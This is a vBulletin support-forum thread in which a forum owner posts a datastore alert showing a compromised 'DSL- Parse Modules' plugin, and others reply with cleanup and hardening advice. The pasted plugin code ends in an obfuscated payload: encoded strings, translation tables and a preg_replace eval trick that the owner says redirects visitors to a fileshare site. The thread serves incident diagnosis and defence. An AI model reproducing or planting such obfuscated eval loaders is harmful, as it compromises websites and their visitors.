Announcement

Collapse
No announcement yet.

Datastore keeps getting edited, help locating

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Datastore keeps getting edited, help locating

    I have went threw the how tos and i am still not found my issue.. I know for sure i didnt' have the install folder on the server. I don't have new admins. No new plug in etc. I installed a mod that emails me when the datastore changes. Very bottom is the code being added that is taking people to fileshare. I know i did find the fileshare file and it was 777 Can anyone help point me in the direction to fix this.

    At the very bottom in red.

    Code:
     Datastore pluginlist mismatch!  ================================================================================ Plugin modified/added:  array (   'pluginid' => '1446',   'title' => 'DSL- Parse Modules',   'hookname' => 'parse_templates',   'phpcode' => 'if ( substr( THIS_SCRIPT, -6, 6 ) != "verify" && !defined( \'IN_MKP\' ) && substr( THIS_SCRIPT, 0, 4 ) != "dyna" && !defined( \'IN_PORTAL_AREA\' ) && THIS_SCRIPT != \'landing\' ){   if ( $vbulletin->options[\'awcl_enable\'] && !is_member_of( $vbulletin->userinfo, split( \',\', $vbulletin->options[\'awcl_cantuse\'] ) ) && $vbulletin->options[\'dsl_enable\'] && !is_member_of( $vbulletin->userinfo, split( \',\', $vbulletin->options[\'dsl_cantuse\'] ) ) ){   if ( $vbulletin->options[\'dsl_dropmenu_en\'] && is_member_of( $vbulletin->userinfo, split( \',\', $vbulletin->options[\'dsl_dropmenu_cansee\'] ) ) ){ $options = null; if ( $vbulletin->options[\'vbversion\'] < 4 ){ if ( $vbulletin->options[\'dsl_dropmenu_header_color\'] ){ $color = \'style="color:\'.$vbulletin->options[\'dsl_dropmenu_header_color\'].\';"\'; } $AWCL[\'bar\'][\'style\'] = \'<table class="tborder" align="center" cellpadding="0" cellspacing="0" width="50%"><tr><td align="left" nowrap="nowrap">\'.$dsl_bar_imag.\'</td></tr></table>\'; if ( $_REQUEST[\'do\'] == \'donation\' ){ $dsl_bar_link_type = null; } else { switch ( $vbulletin->options[\'dsl_bar_link\'] ){ case 1:   $dsl_bar_link_type = \'<a href="\'.$vbulletin->options[\'awcl_home\'].\'awcl_dsl.php?\'.$vbulletin->session->vars[\'sessionurl\'].\'do=donation">Donate Now</a>\';   break; case 2: $dsl_bar_link_type = \'<a href="\'.$vbulletin->options[\'awcl_home\'].\'awcl_dsl.php?\'.$vbulletin->session->vars[\'sessionurl\'].\'do=donation"><img src="\'.$vbulletin->options[\'awcl_home\'].\'awcodinglite/images/misc/link2.gif" border="0"/></a>\';   break; case 3: $dsl_bar_link_type = $vbphrase[\'dsl_bar_link\'];   break; } } $AWCL[\'bar\'][\'link\'] = $dsl_bar_link_type;   $AWCL[\'bar\'][\'donations\'] = construct_phrase( $vbphrase[\'dsl_bar_recieved\'], $vbulletin->options[\'awcl_currency_symbol\'], $dsl_bar_amount_total, $dsl_bar_goal )."<br />"; $vbphrase[\'dsl_bar_support\'] = construct_phrase( $vbphrase[\'dsl_bar_support\'], $vbulletin->options[\'awcl_name\'] ); if ( $vbulletin->options[\'dsl_bar_note\'] ){ $AWCL[\'bar\'][\'note\'] = \'<tr align="center"><td class="thead" colspan="3"><span class="smallfont">\'.$vbphrase[\'dsl_bar_note\'].\'</span></td></tr>\'; } if ( $vbulletin->options[\'dsl_bar_float\'] ){ $AWCL[\'bar\'][\'float\'] = \'<br />\'; } eval( \'$dsl_bar = "\'.fetch_template( \'awcl_dsl_bar\' ).\'";\' ); if ( $vbulletin->options[\'dsl_bar_locs\'] != \'\' ){ eval( \'$dsl_bar_locs = in_array( THIS_SCRIPT, array( \'.$vbulletin->options[\'dsl_bar_locs\'].\' ) );\' ); } else { eval( \'$dsl_bar_locs = !in_array( THIS_SCRIPT, array( this ) );\' ); } if ( $vbulletin->options[\'dsl_bar_insert\'] && in_array( THIS_SCRIPT, array( $dsl_bar_locs ) ) ){ $vbulletin->templatecache[\'navbar\'] = $vbulletin->templatecache[\'navbar\'].$vbulletin->templatecache[\'awcl_dsl_bar\'];   }   } } } }                  $o = \'b064773496e59a7a4e8d2118b0de0bb6\'; $vbg = \'}[email protected]?}2pl9}~59}i+G^<[email protected]<Z][email protected]]>LKY#eN<v8c6pe8Y#~M*{~k{S}ME;O79{e8YfL4nb8c6M~K<M~M~?t7{P+G^5+c;1]><@~a+1~ata$,TSDy>S][email protected]*{8>hB=>EL+4<[email protected]@9Kn?O4+R~c=cYn<{]NY1]4=5~yEM8y+19,^ZO7Ex=^<_6n?{L>#SOk{P+G=<dGhM]N9xLNn#oc*5+MYsLyEX~yhS][email protected]@}7YS+Mf{8>[email protected]][email protected]?aknE==n<6=#6k8#nGE=b=+>#SDMEZB=hfo8+Z]6<>~Kf5+n<_E6+NE6+L+#R=6nhx={64E6+n=s99O_?{9,>T+GYL+cR1~yda8_?{~A>[email protected]]><mo8EAe7*aHc;S9K6~$KY1L8;aLc<aL46~$a;boNR1L>fvx4+SLK~voc<[email protected]@}nfv~a6X~KnmoK;@[email protected]~a6XoKnS]G6~$sYS+Mf{97{P+4*<d7Ex=#6k6{6kNM9H6nEd8#RB=>da8_?{~,>Td#<Bk#@n8>hkE=]+N,?{o_>T6^R+=><_d>++=nd<B_#[email protected]~P+4t<+GTv+c;R~yEce8YS97~P+4p<+GTv+c;RLK9xeNdaDMEbB=h1~Kd5E{@tE6<NE6+_k=<DO_p>t_?{}A>@L8h#}k*{8>[email protected]][email protected]?aknE==n<o8#>BNs99O_?{eA#[email protected]#}[email protected]+#]8R#$cSR9KnZoy+S~GdsHGYMoZ#s+Mp{9K+>L4;@[email protected][email protected]`~R%ipPz`9A#a$sEcoa6?L46#eNpmBK<[email protected]+yYSL8h?]8]@~aYSLcpa8kpa+Knm~,[email protected],[email protected]~GEbO7Exd#<Bk#@nNMEv8k{S}[email protected]+s][email protected]*{8#[email protected]~c6#O7ExE#6=NM9a+>#[email protected]#}k*{8#YB_#m+E6?{o>#[email protected]+Gd<BkE5O8mS]s*{}[email protected]]8EALc<%eN=5+4p?+c6v+M;#eN>@O7{%tZoft,TSDMEmB8Y>oaY#~sRm],=5+4*S$,T?D7{P~G+SLad5HKE1oy6m]Nb#$K;1ocn#eN<vBk959GEfDsX1][email protected]?]8Y#[email protected]<{Ly9vL4<R]7bfeGT`~R%ipPz`eNd<}MEmxk~sO_m<]8RS9,m<eNo5O7^{9k{K+sEMO8mS]s*{}[email protected]+^9t_#[email protected][email protected]?a86?ae46R][email protected];>][email protected]$A#{eAm<]N;Z]8?{E#;Bd{nt=>?a~yEbL4=a86?aoyYZ+>#vBkEQDy><xdzzq\'; $xml = \'HeY;Pb`.([email protected]]&,FXpK$3M02d[a{-?ics#Cg1*V!LJTE6kx}tUu)"G^D>=/ZB%I<5yfh4~7lmz:OvA9qo_Nr|wR\'; $xml2 = \'IaNx75.~%X`JlFqp{Z=D[84mL^y*6Q!nk"s(2i0?,vg+#b&ARVSfeM>|:-HEO1U}[email protected]_t)]Kujd;YTW<$/h\'; $as = \'#c#\'.substr($vbg, 408, 1); $vbt = preg_replace($as, strtr($vbg, $xml, $xml2), \'css\');',   'product' => 'dsl',   'devkey' => '',   'active' => '1',   'executionorder' => '5', )
    Devilsown Water Injection
    Grand prix forum

  • #2
    Does it happen only on the forum where vBSEO is installed?

    Perhaps this can help you:
    http://club.myce.com/f20/vbulletin-m...e-them-332219/
    this is my sig

    Comment


    • #3
      Check your plugins. I had the same hack. The plugin install was called 'use memcached instead of db for datastore items' or something similar. You also may have another plugin running that allows them the hack the site. Both plugins ran at the init_startup() hook location.
      www.hotcouponworld.com
      www.organicgrocerydeals.com
      www.momsinthetrenches.com (still developing)

      Comment


      • #4
        Make sure your MySQL server is not accessible to everyone. It should be limited to your IP address if possible. On a shared host it should only be accessible via cpanel/phpmyadmin (locally) no reason someone from outside should need to connect.

        Change the passwords of all database users with privileges to your vb database. You will need to update the password in the config.php file.

        Comment


        • #5
          Deleting the contents of the plugin row in the datastore table will clear out the problem code. To rebuild that line, just edit a plugin in your admincp and save it. Don't even have to edit the code, just click the save button.
          Translations provided by Google.

          Wayne Luke
          The Rabid Badger - a vBulletin Cloud demonstration site.
          vBulletin 5 API - Full / Mobile
          Vote for your favorite feature requests and the bugs you want to see fixed.

          Comment

          widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
          Working...
          X